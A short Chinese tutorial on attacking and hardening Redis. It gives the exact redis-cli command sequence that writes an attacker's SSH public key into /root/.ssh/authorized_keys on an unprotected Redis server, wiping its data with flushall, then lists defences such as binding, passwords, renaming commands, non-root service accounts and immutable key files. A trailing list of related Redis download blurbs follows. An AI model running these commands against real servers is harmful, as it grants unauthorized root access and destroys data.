redis攻与防
思路:
将入侵者(centos201)的公钥写入到被入侵者(centos200,没有安全措施redis服务器)上,从而达到直联centos200的目的。
1、生成本机公钥(centos201)
ssh-keygen -t rsa
2、在本机执行命令完成入侵
redis-cli -h centos200 -p 6379 config set dir /root/.ssh
redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"
redis-cli -h centos200 -p 6379 flushall
(echo -e '\n';cat /root/.ssh/id_rsa.pub;echo -e '\n') | redis-cli -h centos200 -p 6379 -x set crackit
redis-cli -h centos200 -p 6379 save
3、本机测试
ssh centos200
安全防护:
1、bind参数设置:绑定访问ip,不能任意IP(0.0.0.0)都可访问
2、更改默认的6379端口
3、设置复杂度较高的密码
4、禁用相关重要命令:flushall\config\eval,举例:rename-command FLUSHALL ""
5、禁止使用root启动redis,使用一些不能登录(nologin)的账号启动服务
groupadd -r redis && useradd -r -g redis redis
6、保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。
相关推荐
redis设计与实现 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,...
Redis发布与订阅系统源码,统一配置更新数据库,亲测可用,简单易懂。切记运行程序前要开启Redis服务.
主要介绍了Springboot使用redis进行api防刷限流过程详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
Windows 上安装 Redis安装Windows 上安装 Redis安装Windows 上安装 Redis安装Windows 上安装 Redis安装Windows 上安装 Redis安装Windows 上安装 Redis安装Windows 上安装 Redis安装Windows 上安装 Redis安装Windows ...
Redis 设计与实现.mobi
08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar08-Redis HyperLogLog与事务和Redis 7.0那点事_ev.rar...
redis开发与运维 比较好的redis入门书 讲的很详细 !!!!!
redisredis redis redis redis
redis本地缓存与redis缓存
Redis缓存与内部实现机制PPT详解
Redis实战 Redis实战 Redis实战 Redis实战 Redis实战 Redis实战 Redis实战
文档总结了tair与redis的有缺点,提供给大家应用多为参考
redis 开发运维指南 全套宝典 包含开发标准开发设计规范,上线部署规划 常见问题处理 高可用及集群 开发运维人员的必备宝典
Redis 思维导图 Redis Redis Redis
Redis设计与实战 带目录书签!
Redis介绍与实现机制.PPT
redis安装与开发实例,包括redis安装,java代码实例
Redis开发与运维视频教程,本套教程基本上涵盖了redis的开发和运维工作中大部分的知识点,从redis的原理到redis的使用,再到redis的常见使用场景,再到redis的集群与故障处理。期望通过本套教程,可以帮助正在redis...
Redis安装与卸载文档
Redis实战与入门指南 两本书籍.redis学习的入门教材